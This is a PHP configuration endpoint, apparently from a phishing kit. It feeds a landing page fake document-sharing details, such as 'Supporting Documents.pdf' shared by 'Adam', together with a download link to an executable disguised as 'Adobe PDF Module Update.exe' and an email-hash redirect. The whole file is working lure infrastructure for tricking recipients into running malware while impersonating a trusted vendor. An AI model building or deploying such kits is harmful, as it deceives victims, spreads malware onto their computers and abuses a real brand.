<?php
require_once __DIR__ . '/../common.php';
header('Content-Type: application/json');
$cfg = loadConfig();
$dl = $cfg['download'] ?? [];
$landing = $cfg['landing'] ?? [];
$redirectBase = $cfg['redirect']['with_email_hash'] ?? '';
$useLocal = $dl['use_local'] ?? true;
$filename = $dl['local_filename'] ?? 'file.exe';
$path = $UPLOADS_DIR . '/' . $filename;

$shareByName = $landing['share_by_name'] ?? 'Adam';
$documentName = $landing['document_name'] ?? 'Supporting Documents.pdf';
$personalizedSuffix = $landing['personalized_suffix'] ?? 'document';
$downloadFilename = $landing['update_filename'] ?? $landing['download_filename'] ?? 'Adobe PDF Module Update.exe';

$basePath = '';
if (!empty($_SERVER['REQUEST_URI'])) {
    $uri = preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']);
    $uri = '/' . trim($uri, '/');
    if (preg_match('#^(.+)/api/config\.php$#i', $uri, $m)) {
        $basePath = rtrim($m[1], '/');
    }
}
if (empty($basePath) && !empty($_SERVER['SCRIPT_NAME'])) {
    $scriptDir = dirname(str_replace('\\', '/', $_SERVER['SCRIPT_NAME']));
    $basePath = ($scriptDir === '/' || $scriptDir === '' || $scriptDir === '.') ? '' : rtrim($scriptDir, '/');
}

if ($useLocal && file_exists($path)) {
    $downloadUrl = $basePath . '/download.php?f=' . urlencode($filename);
} else {
    $downloadUrl = $dl['external_url'] ?? '';
}

echo json_encode([
    'download_url' => $downloadUrl,
    'redirect_base' => $redirectBase,
    'local_filename' => $filename,
    'share_by_name' => $shareByName,
    'document_name' => $documentName,
    'personalized_suffix' => $personalizedSuffix,
    'download_filename' => $downloadFilename,
    'update_filename' => $landing['update_filename'] ?? $downloadFilename
]);
